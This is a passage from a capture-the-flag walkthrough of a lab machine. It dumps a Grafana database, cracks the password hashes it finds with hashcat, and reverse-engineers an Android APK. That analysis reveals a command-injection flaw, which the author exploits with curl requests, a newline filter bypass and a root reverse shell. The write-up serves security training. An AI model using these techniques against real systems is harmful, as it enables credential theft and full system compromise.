shawking@bigbang:~$ ls /opt/data -l
total 1000
drwxr--r-- 2 root root 4096 Jun 5 2024 csv
-rw-r--r-- 1 root root 1003520 Jan 27 15:06 grafana.db
drwxr--r-- 2 root root 4096 Jun 5 2024 pdf
drwxr-xr-x 2 root root 4096 Jun 5 2024 plugins
drwxr--r-- 2 root root 4096 Jun 5 2024 png
The file /opt/data/grafana.db
is the SQLite database file used by Grafana. It contains all the core data for Grafana's operation.
Download the file for local access:
scp [email protected]:/opt/data/grafana.db .
Dump the database using sqlite3
:
sqlite3 grafana.db ".dump" > dump.sql
Extract key information:
INSERT INTO user VALUES(1,0,'admin','admin@localhost','','441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34','CFn7zMsQpf','CgJll8Bmss','',1,1,0,'','2024-06-05 16:14:51','2024-06-05 16:16:02',0,'2024-06-05 16:16:02',0,0,'');
INSERT INTO user VALUES(2,0,'developer','[email protected]','George Hubble','7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960','4umebBJucv','0Whk1JNfa3','',1,0,0,'','2024-06-05 16:17:32','2025-01-20 16:27:39',0,'2025-01-20 16:27:19',0,0,'ednvnl5nqhse8d');
These INSERT INTO user
statements populate a table named user
in the Grafana database.
- First Entry:
admin
- Username:
admin
- Email:
admin@localhost
- Password Hash:
441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34
- Salt:
CFn7zMsQpf
- Admin: Yes (
1
).
- Username:
- Second Entry:
developer
**- Username:
developer
- Email:
[email protected]
- Full Name:
George Hubble
- Password Hash:
7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960
- Salt:
4umebBJucv
- Admin: No (
0
).
- Username:
INSERT INTO user_auth_token VALUES(4,2,'b53dc2416a05f35bd12eda4bcd86bfa50272acc0ddeb7265a8ad5ebda69faea2','b53dc2416a05f35bd12eda4bcd86bfa50272acc0ddeb7265a8ad5ebda69faea2','Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0','172.17.0.1',1,1737390471,1737390470,1737390470,1737390470,0);
CREATE TABLE `cache_data` (
`cache_key` TEXT PRIMARY KEY NOT NULL
, `data` BLOB NOT NULL
, `expires` INTEGER NOT NULL
, `created_at` INTEGER NOT NULL
);
This inserts a record into the user_auth_token
table, which is used to track user authentication tokens in Grafana.
id
:4
user_id
:2
- The user ID associated with this token. Refers to the
developer
user in theuser
table.
- The user ID associated with this token. Refers to the
auth_token
andprev_auth_token
:- Both contain the same token string:
b53dc2416a05f35bd12eda4bcd86bfa50272acc0ddeb7265a8ad5ebda69faea2
, which are used to authenticate the user for API calls or sessions.
- Both contain the same token string:
client_ip
:172.17.0.1
:- The IP address of the client that initiated the session.
is_active
:1
(Active)- Indicates that this token is currently active.
INSERT INTO alert_configuration VALUES(1,replace('{\n "alertmanager_config": {\n "route": {\n "receiver": "grafana-default-email",\n "group_by": ["grafana_folder", "alertname"]\n },\n "receivers": [{\n "name": "grafana-default-email",\n "grafana_managed_receiver_configs": [{\n "uid": "",\n "name": "email receiver",\n "type": "email",\n "isDefault": true,\n "settings": {\n "addresses": "<[email protected]>"\n }\n }]\n }]\n }\n}\n','\n',char(10)),'v1',1717604091,1,1,'e0528a75784033ae7b15c40851d89484');
The query creates an alert configuration in the Grafana database. Alerts in Grafana are used to notify users when a specific condition in a monitored system is met.
id
:1
alertmanager_configuration
:- Contains JSON that defines the configuration of the alert system.
default
:1
- Indicates that this is the default configuration.
configuration_hash
:'e0528a75784033ae7b15c40851d89484'
- A hash value used to identify this specific configuration.
INSERT INTO kv_store VALUES(6,0,'plugin.publickeys','key-7e4d0c6a708866e7',replace(replace('-----BEGIN PGP PUBLIC KEY BLOCK-----\r\nVersion: OpenPGP.js v4.10.1\r\nComment: https://openpgpjs.org\r\n\r\nxpMEXpTXXxMFK4EEACMEIwQBiOUQhvGbDLvndE0fEXaR0908wXzPGFpf0P0Z\r\nHJ06tsq+0higIYHp7WTNJVEZtcwoYLcPRGaa9OQqbUU63BEyZdgAkPTz3RFd\r\n5+TkDWZizDcaVFhzbDd500yTwexrpIrdInwC/jrgs7Zy/15h8KA59XXUkdmT\r\nYB6TR+OA9RKME+dCJozNGUdyYWZhbmEgPGVuZ0BncmFmYW5hLmNvbT7CvAQQ\r\nEwoAIAUCXpTXXwYLCQcIAwIEFQgKAgQWAgEAAhkBAhsDAh4BAAoJEH5NDGpw\r\niGbnaWoCCQGQ3SQnCkRWrG6XrMkXOKfDTX2ow9fuoErN46BeKmLM4f1EkDZQ\r\nTpq3SE8+My8B5BIH3SOcBeKzi3S57JHGBdFA+wIJAYWMrJNIvw8GeXne+oUo\r\nNzzACdvfqXAZEp/HFMQhCKfEoWGJE8d2YmwY2+3GufVRTI5lQnZOHLE8L/Vc\r\n1S5MXESjzpcEXpTXXxIFK4EEACMEIwQBtHX/SD5Qm3v4V92qpaIZQgtTX0sT\r\ncFPjYWAHqsQ1iENrYN/vg1wU3ADlYATvydOQYvkTyT/tbDvx2Fse8PL84MQA\r\nYKKQ6AJ3gLVvmeouZdU03YoV4MYaT8KbnJUkZQZkqdz2riOlySNI9CG3oYmv\r\nomjUAtzgAgnCcurfGLZkkMxlmY8DAQoJwqQEGBMKAAkFAl6U118CGwwACgkQ\r\nfk0ManCIZuc0jAIJAVw2xdLr4ZQqPUhubrUyFcqlWoW8dQoQagwO8s8ubmby\r\nKuLA9FWJkfuuRQr+O9gHkDVCez3aism7zmJBqIOi38aNAgjJ3bo6leSS2jR/\r\nx5NqiKVi83tiXDPncDQYPymOnMhW0l7CVA7wj75HrFvvlRI/4MArlbsZ2tBn\r\nN1c5v9v/4h6qeA==\r\n=DNbR\r\n-----END PGP PUBLIC KEY BLOCK-----\r\n','\r',char(13)),'\n',char(10)),'2024-06-05 16:14:52','2024-06-05 16:14:52');
This SQL statement inserts a PGP (Pretty Good Privacy) public key into the kv_store
table in a database, likely part of a Grafana configuration or plugin storage.
- Table:
kv_store
The table is used to store key-value pairs related to the Grafana environment. - Columns and Their Values:
id
:6
org_id
:0
Associated organization ID.0
usually refers to the default or root organization.namespace
:'plugin.publickeys'
key
:'key-7e4d0c6a708866e7'
value
: The actual PGP public key, formatted properly with newlines.- Processing with
replace
:- The first
replace
substitutes\r
with a carriage return (char(13)
). - The second
replace
substitutes\n
with a newline (char(10)
). This ensures proper formatting of the PGP public key when stored in the database.
- The first
- Processing with
Grafana2Hashcat
If we search for the Grafana password hash format, we come across this repository. It reveals that Grafana commonly employs PBKDF2-SHA256 for password hashing. This algorithm combines the password, a salt, and a high number of iterations to strengthen the hash against brute force attacks.
The format for hash is:
sha256$Iterations$salt$hash
Organize hashes we found in a TXT:
441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34,CFn7zMsQpf
7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960,4umebBJucv
Then run grafana2hashcat.py
to convert the hash into Hashcat format:

Run Hashcat with mode 10900
, which is specifically designed for PBKDF2-SHA256 hashes. Using the formatted hash of the user developer
(George), the password is successfully cracked:
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjd▒▒▒▒▒▒▒▒▒:big▒▒▒▒
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
A perfectly reasonable password for this box :D. Use these credentials to log in to Grafana after setting up the appropriate port forwarding:

And we can use the password to switch to another user developer
and found an Android APK file under the /home
directory:

APK
apktool
Go through an exploit path agains Android APK files as introduced in the Instant writeup.
Download the APK file:
scp [email protected]:/home/developer/android/satellite-app.apk .
Use tools like apktool
to decompile and inspect the application::
apktool d satellite-app.apk -o satellite_app_decompiled

AndroidManifest.xml
:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="34" android:compileSdkVersionCodename="14" package="com.satellite.bigbang" platformBuildVersionCode="34" platformBuildVersionName="14">
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:extractNativeLibs="false" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Bigbang" android:usesCleartextTraffic="true">
<activity android:exported="true" android:name="com.satellite.bigbang.MainActivity" android:theme="@style/Theme.Bigbang">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:exported="true" android:name="com.satellite.bigbang.LoginActivity" android:theme="@style/Theme.Bigbang"/>
<activity android:name="com.satellite.bigbang.InteractionActivity"/>
<activity android:name="com.satellite.bigbang.MoveCommandActivity"/>
<activity android:exported="true" android:name="com.satellite.bigbang.TakePictureActivity"/>
<provider android:authorities="com.satellite.bigbang.com.squareup.picasso" android:exported="false" android:name="com.squareup.picasso.PicassoProvider"/>
<provider android:authorities="com.satellite.bigbang.androidx-startup" android:exported="false" android:name="androidx.startup.InitializationProvider">
<meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
<meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
</provider>
</application>
</manifest>
Application Configuration
android:allowBackup="true"
: Allows the app's data to be backed up via Android's backup mechanism, which could expose sensitive data.- If enabled, an attacker could potentially retrieve app data using the
adb backup
command.
- If enabled, an attacker could potentially retrieve app data using the
android:usesCleartextTraffic="true"
: Indicates that the app allows unencrypted (HTTP) traffic.- This is a significant vulnerability if sensitive data (e.g., credentials or tokens) is transmitted without encryption.
The smali
directory contains the decompiled Dalvik bytecode files for the APK. These files are the disassembled Java code, which we can inspect for understanding the app’s behavior and identifying potential vulnerabilities.
The directory smali/com/satellite/bigbang/
contains the main activities of the app:
$ ls
AndroidManifest.xml apktool.yml kotlin original res smali unknown
$ ls smali
a android B C d e f g h i j k L M N O P Q R t U w X z
A androidx b0 c0 D E F G H I J K l0 m0 n0 o0 p0 q0 s T v W y Z
a0 b c com d0 e0 f0 g0 h0 i0 j0 l m n o p q r S u V x Y
$ ls smali/com/satellite/bigbang/
InteractionActivity.smali LoginActivity.smali MainActivity.smali MoveCommandActivity.smali TakePictureActivity.smali
Reverse and analyze the smali
s.
Reversing
MoveCommandActivity.smali
A preview for the TakePictureActivity.smali
, it includes fields and methods that deal with user interaction for taking pictures and managing locations. It should be the major functionality developed for the app:

We will see how it works by analyzing
Le/b
in the following part.
For the MoveCommandActivity.smali
:
.class public Lcom/satellite/bigbang/MoveCommandActivity;
.super Landroidx/appcompat/app/AppCompatActivity;
.source "SourceFile"
# static fields
.field public static final synthetic s:I
# instance fields
.field public n:Landroid/widget/EditText;
.field public o:Landroid/widget/EditText;
.field public p:Landroid/widget/EditText;
.field public q:Ljava/lang/String;
.field public r:J
# direct methods
.method public constructor <init>()V
.locals 0
invoke-direct {p0}, Landroidx/appcompat/app/AppCompatActivity;-><init>()V
return-void
.end method
# virtual methods
.method public final onCreate(Landroid/os/Bundle;)V
.locals 3
invoke-super {p0, p1}, Landroidx/fragment/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V
const p1, 0x7f0c001e
invoke-virtual {p0, p1}, Landroidx/appcompat/app/AppCompatActivity;->setContentView(I)V
invoke-virtual {p0}, Landroid/app/Activity;->getIntent()Landroid/content/Intent;
move-result-object p1
const-string v0, "access_token"
invoke-virtual {p1, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
move-result-object p1
iput-object p1, p0, Lcom/satellite/bigbang/MoveCommandActivity;->q:Ljava/lang/String;
invoke-virtual {p0}, Landroid/app/Activity;->getIntent()Landroid/content/Intent;
move-result-object p1
const-string v0, "token_expiry_time"
const-wide/16 v1, 0x0
invoke-virtual {p1, v0, v1, v2}, Landroid/content/Intent;->getLongExtra(Ljava/lang/String;J)J
move-result-wide v0
iput-wide v0, p0, Lcom/satellite/bigbang/MoveCommandActivity;->r:J
const p1, 0x7f09009a
invoke-virtual {p0, p1}, Landroidx/appcompat/app/AppCompatActivity;->findViewById(I)Landroid/view/View;
move-result-object p1
check-cast p1, Landroid/widget/EditText;
iput-object p1, p0, Lcom/satellite/bigbang/MoveCommandActivity;->n:Landroid/widget/EditText;
const p1, 0x7f09009b
invoke-virtual {p0, p1}, Landroidx/appcompat/app/AppCompatActivity;->findViewById(I)Landroid/view/View;
move-result-object p1
check-cast p1, Landroid/widget/EditText;
iput-object p1, p0, Lcom/satellite/bigbang/MoveCommandActivity;->o:Landroid/widget/EditText;
const p1, 0x7f09009c
invoke-virtual {p0, p1}, Landroidx/appcompat/app/AppCompatActivity;->findViewById(I)Landroid/view/View;
move-result-object p1
check-cast p1, Landroid/widget/EditText;
iput-object p1, p0, Lcom/satellite/bigbang/MoveCommandActivity;->p:Landroid/widget/EditText;
const p1, 0x7f090154
invoke-virtual {p0, p1}, Landroidx/appcompat/app/AppCompatActivity;->findViewById(I)Landroid/view/View;
move-result-object p1
check-cast p1, Landroid/widget/Button;
new-instance v0, Le/b;
const/4 v1, 0x7
invoke-direct {v0, v1, p0}, Le/b;-><init>(ILjava/lang/Object;)V
invoke-virtual {p1, v0}, Landroid/view/View;->setOnClickListener(Landroid/view/View$OnClickListener;)V
return-void
.end method
It appears to handle command input for moving or controlling some component of the system. Based on the presence of the access_token
and token_expiry_time
, which requires authenticated access to perform its operations.
Instance Fields:
n
,o
,p
(EditText):- These fields represent text input boxes where users can provide input.
q
(String):- A string field, initialized from the
access_token
retrieved from the Intent.
- A string field, initialized from the
r
(Long):- A long integer field, initialized from the
token_expiry_time
retrieved from the Intent.
- A long integer field, initialized from the
Therefore, we see the MoveCommandActivity
class has three EditText
fields (n
, o
, p
) and an attached button with a View.OnClickListener
. This suggests that the activity allows user input for commands or actions.
If the listener (Le/b
) uses user input in a system command without sanitization (as it is), it is vulnerable to OS Command Injection.
Class Le/b
| e/b.smali
The Le/b
class mentioned is a Smali file in our decompiled app directory. We can search for relevant source codes:
find smali/ -name "b.smali" | xargs grep -n "Le/b"
We can find it under smali/e/b.smali
- The onClick
method in Le/b
contains a packed-switch that directs execution based on the value of the a
field in the object. Each :pswitch_
branch corresponds to a specific button action:
.packed-switch 0x0
:pswitch_7
:pswitch_6
:pswitch_5
:pswitch_4
:pswitch_3
:pswitch_2
:pswitch_1
:pswitch_0
.end packed-switch
In :pswitch_0
, the app retrieves and parses user input from EditText
fields (n
, o
, p
) and constructs a JSON object. It then appears to pass this object to AsyncTask
for execution.
Code for :pswitch_0
:
:pswitch_0
move-object v0, p0
check-cast v0, Lcom/satellite/bigbang/MoveCommandActivity;
# Retrieve the EditText input fields
iget-object v1, v0, Lcom/satellite/bigbang/MoveCommandActivity;->n:Landroid/widget/EditText;
invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
move-result-object v1
invoke-virtual {v1}, Ljava/lang/Object;->toString()Ljava/lang/String;
move-result-object v1
# Repeat for other fields (o, p)
JSON Object Creation: The inputs (x
, y
, z
) are parsed into a JSON object:
const-string v6, "x"
invoke-static {v1}, Ljava/lang/Float;->parseFloat(Ljava/lang/String;)F
invoke-virtual {v5, v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;D)Lorg/json/JSONObject;
Execution via AsyncTask: The JSON is passed to AsyncTask
for execution:
invoke-virtual {v3, p0}, Landroid/os/AsyncTask;->execute([Ljava/lang/Object;)Landroid/o
The AsyncTask
instance (Lu/f
) is responsible for handling the user input. Find the Lu/f
class. We can find it under smali/u/f.smali
:

It implements an AsyncTask
that interacts with a web service at http://app.bigbang.htb:9090/command:

Inspect HTTP POST Request in a([Ljava/lang/String;)Ljava/lang/String;
. The method a
constructs an HTTP POST request to http://app.bigbang.htb:9090/command
:
const-string v9, "http://app.bigbang.htb:9090/command"
invoke-direct {v0, v9}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
It sets headers such as Content-Type: application/json
and includes an Authorization
header:
const-string v5, "Authorization"
new-instance v6, Ljava/lang/StringBuilder;
invoke-direct {v6, p0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
The JSON payload is sent via the OutputStream
of the connection:
invoke-virtual {v0}, Ljava/net/URLConnection;->getOutputStream()Ljava/io/OutputStream;
aget-object p1, p1, v2
invoke-virtual {p1, v8}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
invoke-virtual {p0, p1, v2, v3}, Ljava/io/OutputStream;->write([BII)V
It takes user input as JSON payload. The JSON payload is constructed using user inputs from the MoveCommandActivity
. The command
, x
, y
, and z
values are parsed and added to the JSON object:
const-string v6, "command"
const-string v7, "move"
invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
const-string v6, "x"
invoke-static {v1}, Ljava/lang/Float;->parseFloat(Ljava/lang/String;)F
These values are passed to AsyncTask
for execution via an HTTP request. The Authorization
header is dynamically constructed using the access_token
from the MoveCommandActivity
:
iget-object p0, v4, Lcom/satellite/bigbang/MoveCommandActivity;->q:Ljava/lang/String;
invoke-virtual {v6, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
Additionally, the snippet from e/b.smali
reveals how the TakePictureActivity
interacts with q0/b
.
Retrieving a Value from a HashMap:
invoke-virtual {v0, p1}, Ljava/util/HashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
move-result-object p1
check-cast p1, Ljava/lang/String;
A value is being retrieved from a HashMap
using a key (p1
), and the result (p1
) is cast as a String
.
Appending .png
:
const-string v0, ".png"
invoke-static {p1, v0}, LF/Q;->d(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
move-result-object p1
A .png
extension is appended to the retrieved string. This suggests it is preparing a filename, likely for an image.
Creating a New Instance of q0/b
:
new-instance v0, Lq0/b;
invoke-direct {v0, p0}, Lq0/b;-><init>(Lcom/satellite/bigbang/TakePictureActivity;)V
An object of q0/b
is instantiated. The TakePictureActivity
object (p0
) is passed as a parameter.
Passing the Prepared Filename to the AsyncTask:
filled-new-array {p1}, [Ljava/lang/String;
move-result-object p0
invoke-virtual {v0, p0}, Landroid/os/AsyncTask;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
The prepared filename (p1
) is wrapped into a string array. This string array is passed to the execute
method of the AsyncTask
object (v0
), which runs the task asynchronously.
Class q0/b
| smali/q0/b.smali
Now we go to smali/q0/b.smali
to inspect the source code. An short analysis on how it works:
doInBackground
Method
Constructs a JSON payload with a send_image
command and the user-provided output_file
parameter.
const-string v0, "{\"command\": \"send_image\", \"output_file\": \""
iget-object v0, p0, Lq0/b;->a:Ljava/lang/String;
invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
The value of output_file
(p0->a
) is controlled by the user input passed to doInBackground
. If there is no validation or sanitization, it could allow directory traversal or file overwrites (e.g., ../../path/to/overwrite
).
HTTP Request Construction
Establishes an HTTP POST request to the server endpoint /command
.
const-string v3, "http://app.bigbang.htb:9090/command"
invoke-direct {p1, v3}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
invoke-virtual {p1}, Ljava/net/HttpURLConnection;->openConnection()Ljava/net/URLConnection;
This connection assumes the server blindly processes incoming commands. Any maliciously crafted payload (e.g., including shell injection or unexpected parameters) could exploit improperly validated backend handling.
Authorization Header
Adds a Bearer token (retrieved from the TakePictureActivity
) to the HTTP headers for authentication.
const-string v3, "Authorization"
new-instance v4, Ljava/lang/StringBuilder;
invoke-direct {v4, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
iget-object v1, p0, Lq0/b;->b:Lcom/satellite/bigbang/TakePictureActivity;
iget-object v1, v1, Lcom/satellite/bigbang/TakePictureActivity;->p:Ljava/lang/String;
invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
File Handling
Constructs a file path based on the output_file
name and stores the image in the public "Pictures" directory.
new-instance v0, Ljava/io/File;
sget-object v1, Landroid/os/Environment;->DIRECTORY_PICTURES:Ljava/lang/String;
invoke-static {v1}, Landroid/os/Environment;->getExternalStoragePublicDirectory(Ljava/lang/String;)Ljava/io/File;
invoke-direct {v0, v1, p0}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
If the output_file
parameter contains malicious paths or filenames (e.g., ../../../../etc/passwd
), it could lead to arbitrary file overwrites.
File Writing Loop
Reads data from the HTTP response and writes it to the constructed file path.
new-array v0, v0, [B
invoke-virtual {p1, v0}, Ljava/io/InputStream;->read([B)I
invoke-virtual {p0, v0, v2, v1}, Ljava/io/FileOutputStream;->write([BII)V
The file-writing mechanism assumes that the HTTP response contains valid image data. Manipulating the backend to send malicious or malformed data could corrupt the file system or exploit file parsers on the client.
Post-Execution Toast Message
Displays a success or failure message based on the HTTP response.
const-string p1, "Request Successful and Image Downloaded"
invoke-static {p0, p1, v0}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
invoke-virtual {p0}, Landroid/widget/Toast;->show()V
The success/failure handling appears superficial and doesn't validate the integrity of the downloaded file.
Vulnerability | Command Injection
The send_image
command in the TakePictureActivity
or q0/b.smali
class handles the output_file
parameter. All in all:
Command Construction:
const-string v0, "{\"command\": \"send_image\", \"output_file\": \""
The output_file
value is directly concatenated with the string, creating the command to be executed.
Execution Without Proper Validation:
invoke-static {p1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
- The
output_file
value is appended as part of the command, with no validation to sanitize it. - As a result, if the
output_file
contains special characters or shell commands (;
,&&
, etc.), those are executed by the shell.
Execution Context:
invoke-virtual {p1}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;
- The concatenated command is sent to the backend and executed in the shell (possibly via a subprocess).
- This means that the shell interprets the concatenated command string, allowing injected commands to be executed.
Exploit
Now let's exploit the application's vulnerability, targeting the host http://app.bigbang.htb:9090
, which is currently accessible internally at http://127.0.0.1:9090
via proper port forwarding.
This requires using the POST method to access http://localhost:9090
. Use curl
to send a POST
request to the /login
endpoint:
curl -X POST http://127.0.0.1:9090/login \
-d '{"username":"developer","password":"big▒▒▒▒"}' \
-H "Content-Type: application/json"
It returns the access_token
mentioned in the source code, aka a JWT, for the developer
user to us:

As a standard practice, we can export the retrieved access_token
as an environment variable for convenience in future requests.
The smali code highlights that the /command
endpoint is critical and requires the access token for interaction. Test the endpoint by including the Authorization
header in the request:
curl -X POST http://127.0.0.1:9090/command \
-d '{"command":"move","x":10,"y":20,"z":30}' \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $access_token"
The move
command is a predefined functionality of the application, as derived from the reverse engineering of the app's code (MoveCommandActivity
in the APK). In the smali code, we observed:
const-string v6, "command"
const-string v7, "move"
invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
Send the request, and the server accepted our command and processed it successfully:

The JWT is proved to work well and now we can test the Command Injection vulnerability found, by crafting a request indicated in the smali/q0/b.smali
source code:
curl -X POST http://127.0.0.1:9090/command \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $access_token" \
-d '{"command": "send_image", "output_file": "/tmp/test"}'
Response:
{"error":"Error generating image: "}
As we analyzed, we can exploit the command injection vulnerability with the shell interprets ;
, &&
, and other separators as legitimate operators, executing whatever follows:

It appears that certain special characters are filtered by the application. However, when working with bash, there are always creative ways to bypass these restrictions, such as leveraging the newline character \n
:

Now, we have successfully achieved an RCE primitive. Obtaining a reverse shell without relying on special characters isn't particularly challenging. First, create a reverse shell bash script directly on the victim machine:

Execute the script using the RCE primitive. As anticipated, we gain a reverse shell as root
, since the application is running with root privileges, as revealed during our prior internal scans:

Rooted.
Comments | NOTHING